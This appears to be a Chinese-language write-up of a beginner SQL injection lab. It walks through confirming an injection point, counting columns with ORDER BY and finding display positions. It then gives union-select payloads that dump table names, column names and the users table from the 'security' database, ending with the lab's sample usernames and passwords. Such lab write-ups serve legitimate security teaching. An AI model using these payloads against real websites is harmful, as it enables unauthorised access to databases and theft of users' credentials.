1.先提示你输入数字值的ID作为参数,那我先输入?id=1试探一下,发现有回显,那么说明存在sql注入漏洞,其代入到了数据库进行查询过。
2.接下来我们判断sql语句是否是拼接(and字符型还是数字型)。输入?id=10'之后,提示你的sql语法有问题。
{SQL 注入是通过把SQL命令插入到 Web表单提交 或 URL 或 页面请求等的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令(即输入的数据被当成代码执行)。
#如何判断注入点
{判断方法:只需要插入的 代码被执行,就存在注入点:
加一个单引号?id=1' ,如果这个单引号被当成SQL语句,就不能正常的运行程序,页面也就不正常或者报错;如果没被当成 SQL语句,页面就显示不了。
加一个永假表达式,/?id=1 and 0 ,and(一假必假)
使用减法让id=1,/?id=2-1,如果页面正常,代码被执行就存在注入点
使用休眠函数 , or sleep(n)
按道理来说,我们在url 后面输入的是字符串而不是数字,因为 url 本身就是字符串。}
3.根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。
那麽现在猜字符段:
猜字段数是因为需要用的联合查询以获取管理员的信息,又可以说联合查询是显错注入的核心。
但实现联合查询,需要一个条件。 在联合查询的语句俩边的表必须有相同的列数。
4.猜字段数,一般通过 order by:
即:order by n 的意思是根据第 n 列排序,如果没有第 n 列,就不能排不了序,界面也就会不正常。那麽在url栏试着输入?id=1' order by 4--+然后,显示有unknown column 4 in order clause.
那现在说明没有第4列。字段数是3。
5.现在要爆出显示位。就是看看表格里面哪一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。显示的是your login :2 your password:3
6.获取当前数据名和版本号,这个就涉及mysql数据库的一些函数。通过结果知道当前数据看是security,版本是5.7.26。
7.开始爆表
输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+这个的意思等会专门出文章再细说。
8.开始爆字段名。我们通过sql语句查询知道当前数据库有四个表(即7.输入后所显示),根据表名知道可能用户的账户和密码是在users表中。现在要得到该表下的字段名以及内容.输?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
9.通过上述操作可以得到两个敏感字段就是username和password,输入?id=-1' union select 1,2,group_concat(username ,id , password) from users--+接下来我们就要得到该字段对应的内容
10.即有Your Password:Dumb1Dumb,Angelina2I-kill-you,Dummy3p@ssword,secure4crappy,stupid5stupidity,superman6genious,batman7mob!le,admin8admin,admin19admin1,admin210admin2,admin311admin3,dhakkan12dumbo,admin414admin4
.结